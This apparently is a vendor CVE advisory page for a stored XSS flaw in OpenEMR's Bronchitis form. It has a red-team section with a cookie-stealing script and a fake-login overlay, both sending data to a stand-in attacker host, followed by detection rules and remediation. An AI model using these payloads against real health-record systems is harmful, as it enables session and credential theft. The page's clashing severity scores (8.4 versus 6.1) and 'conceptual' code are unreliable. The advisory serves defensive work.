☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-30161

CVE-2025-30161 Cross-Site Scripting in Openemr
📅 PUBLISHED: 2025-03-31 16:12 UTC 🔄 UPDATED: 2026-10-11 18:45 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 10.88%
👁️
10.88% probability
272.0× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30161 is a stored Cross-Site Scripting (XSS) vulnerability in the Bronchitis form component of OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. An authenticated attacker with the ability to edit a Bronchitis form can inject malicious scripts that will execute in the context of an administrator's browser session. This can lead to credential theft, session hijacking, and unauthorized access to sensitive patient data. The vulnerability is fixed in OpenEMR version 7.0.3.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OpenEMR is a PHP-based application distributed via GitHub and its official website. The vulnerability exists within the core application code, not in a third-party package. However, organizations using OpenEMR should ensure they are sourcing the application from the official repository and verifying integrity via checksums or signed commits. The fix is included in the 7.0.3 release tag.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

  • Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low - No special conditions are required for exploitation.
  • Privileges Required (PR): Low - An attacker needs a valid account with permission to edit Bronchitis forms.
  • User Interaction (UI): Required - The victim (administrator) must view the malicious form.
  • Scope (S): Changed - The impact extends beyond the vulnerable component, affecting the administrator's session.
  • Confidentiality (C): High - Successful exploitation can lead to theft of administrator credentials.
  • Integrity (I): Low - The attacker can modify content within the victim's session.
  • Availability (A): None - The vulnerability does not affect availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for credential theft and subsequent lateral movement within a healthcare environment elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the Bronchitis form component, which is part of OpenEMR's clinical decision support and encounter forms. The form likely accepts user input for various fields (e.g., patient symptoms, notes) and stores this data in the database without proper sanitization or output encoding.

When an administrator views the stored form data (e.g., through a patient summary or encounter review), the unsanitized input is rendered in the browser. An attacker can inject JavaScript payloads into these fields. When the administrator's browser executes the script, it can:

  1. Steal Session Cookies: Access document.cookie and exfiltrate it to an attacker-controlled server.
  2. Perform Actions on Behalf of the Admin: Use the admin's session to create new privileged accounts, modify patient records, or exfiltrate data.
  3. Capture Credentials: Use a fake login overlay or keylogger to capture the administrator's password.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Vulnerable vs. Patched Code

The vulnerable code likely does not escape HTML entities when outputting form field values. The patched code in version 7.0.3 uses proper output encoding functions (e.g., htmlspecialchars() or attr_js() in PHP).

Vulnerable Code (Conceptual PHP):

<?php
// Vulnerable: Direct output without sanitization
echo "<td>" . $form_data['symptoms'] . "</td>";
?>

Patched Code (Conceptual PHP):

<?php
// Patched: Output encoded
echo "<td>" . htmlspecialchars($form_data['symptoms'], ENT_QUOTES, 'UTF-8') . "</td>";
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid user account with permission to edit Bronchitis forms.
  • Network access to the OpenEMR instance.

Exploitation Steps:

  1. Login: Authenticate to OpenEMR with the compromised user account.
  2. Navigate: Go to a patient's encounter and open the Bronchitis form for editing.
  3. Inject Payload: In a text field (e.g., "Symptoms" or "Notes"), insert a JavaScript payload. Example:
    <script>
    var img = new Image();
    img.src = 'https://attacker-controlled-server.com/steal?cookie=' + document.cookie;
    </script>
    
  4. Save Form: Submit the form. The payload is now stored in the database.
  5. Trigger: Wait for an administrator to view the patient's encounter or the Bronchitis form. The script executes in their browser.
  6. Exfiltrate: The administrator's session cookie is sent to the attacker's server.

Advanced Payload (Credential Theft):

<script>
// Overlay a fake login form
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><form id="fakeLogin" action="https://attacker-controlled-server.com/steal" method="POST"><h2>Session Expired</h2><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form></div>';
</script>

Blue Team

Detection & Prevention:

  1. Input Validation: Ensure all user inputs are validated on the server side (e.g., reject <script> tags).
  2. Output Encoding: Use context-appropriate encoding (HTML entity, JavaScript, URL) when rendering user data.
  3. Content Security Policy (CSP): Implement a strict CSP that blocks inline scripts and only allows scripts from trusted sources.
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  4. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block XSS payloads (e.g., ModSecurity CRS rules).
  5. Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.
  6. Audit Logs: Monitor for unusual form submissions containing HTML/JavaScript.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains containing cookie data in the URL or POST body.
    • Requests to /steal, /collect, or similar endpoints.
  • Host IOCs:
    • Presence of <script> tags in the form_bronchitis table or related database fields.
    • Unexpected JavaScript code in the browser's local storage or session storage.
  • Log IOCs:
    • Repeated failed login attempts from the same IP after an admin views a form.
    • Creation of new admin accounts from an existing admin session.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Bronchitis_Form {
    meta:
        description = "Detects stored XSS payloads in OpenEMR Bronchitis form data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30161"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss_payload_3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: OpenEMR Bronchitis Form Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS in OpenEMR Bronchitis form submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/interface/forms/bronchitis/"
        cs-method: POST
        cs-request-body|contains:
            - "<script"
            - "onload="
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30161 OpenEMR Bronchitis Form Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/interface/forms/bronchitis/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update OpenEMR to version 7.0.3 or later immediately.
  2. Isolate: If immediate patching is not possible, restrict access to the Bronchitis form to only trusted users.
  3. Audit: Review database entries in the Bronchitis form table for any suspicious HTML/JavaScript content.

Long-Term Mitigations:

  1. Implement CSP: Deploy a strict Content Security Policy.
  2. Enable WAF: Use a Web Application Firewall with XSS protection rules.
  3. Regular Security Training: Train staff on the risks of XSS and secure coding practices.
  4. Vulnerability Scanning: Regularly scan OpenEMR instances for known vulnerabilities.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence. For questions or further analysis, contact threatintel@valtersit.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30161/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.